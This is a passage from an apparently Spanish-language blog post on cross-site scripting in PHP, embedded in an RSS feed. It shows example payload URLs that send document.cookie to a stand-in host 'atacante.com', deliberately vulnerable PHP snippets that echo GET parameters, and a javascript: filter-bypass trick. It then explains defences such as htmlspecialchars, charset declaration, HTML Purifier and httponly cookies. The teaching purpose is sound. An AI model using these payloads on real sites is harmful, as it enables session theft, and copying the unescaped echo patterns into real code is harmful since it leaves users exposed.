<blockquote><p>http://localhost/index.php?mensaje=&lt;script&gt;document.location=&apos;http://atacante.com/captura.php?cookies=&apos;+document.cookie&lt;/script&gt;</p></blockquote>
<p>o una imagen transparente de 1&#215;1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:</p>
<blockquote><p>http://localhost/mensajes.php?mensaje=&lt;script&gt;document.write(&quot;&lt;img widht=&apos;0&apos; height=&apos;0&apos; src=&apos;http://atacante.com/img.png?valores=&quot;+document.cookie&apos;&gt;&quot;)&lt;/script&gt;</p></blockquote>
<p>El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como &#8220;XSS no persistente&#8221;, porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.</p>
<p>Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.</p>
<h2>Cross-Site Scripting, la solución</h2>
<p>La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar  para esto la función <code>htmlspecialchars</code>, que convierte los caracteres &quot;, &lt;, &gt; y &amp; a las entidades HTML correspondientes.</p>
<p>En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante <code>ENT_QUOTES</code>, para sustituir las comillas simples (&apos;) además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:</p>
<pre name="code" class="php">&lt;?php
  $aspecto = $_GET[&apos;aspecto&apos;];
  echo "&lt;div class='{$aspecto}'&gt;...&lt;/div&gt;";
?&gt;</pre>
<p>También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta <code>meta</code>, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos &lt; y &gt;, entre otros, con lo que <code>htmlspecialchars</code> no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.</p>
<p>Por último hay muchos casos en los que <code>htmlspecialchars</code> no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva <code>javascript</code>:</p>
<pre name="code" class="php">&lt;?php
  $enlace = $_GET['enlace'];
  // Peligro: index.php?enlace=javascript:alert(document.cookie)
  echo "&lt;a href='{$enlace}'&gt;Enlace&lt;/a&gt;";
?&gt;</pre>
<p>En estas situaciones tampoco bastaría con filtrar el texto &#8220;javascript:&#8221; ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:</p>
<blockquote><p>http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)</p></blockquote>
<p>También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo <code>style</code> mediante la propiedad <code>expression</code> de IE, o la palabra reservada <code>url</code>.</p>
<p>Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como <a href="http://htmlpurifier.org">HTML Purifier</a>.</p>
<p>Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción <code>session.cookie_httponly</code> a <code>true</code> en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.
<link type="text/css" rel="stylesheet" href="http://mundogeek.net/sh/css/SyntaxHighlighter.css"></link>
<script language="javascript" src="http://mundogeek.net/sh/js/shCore.js"></script><br />
<script language="javascript" src="http://mundogeek.net/sh/js/shBrushPhp.js"></script><br />
<script language="javascript">dp.SyntaxHighlighter.ClipboardSwf = 'http://mundogeek.net/sh//flash/clipboard.swf';
dp.SyntaxHighlighter.HighlightAll('code');</script></p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2010/03/09/cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
	</channel>
</rss>

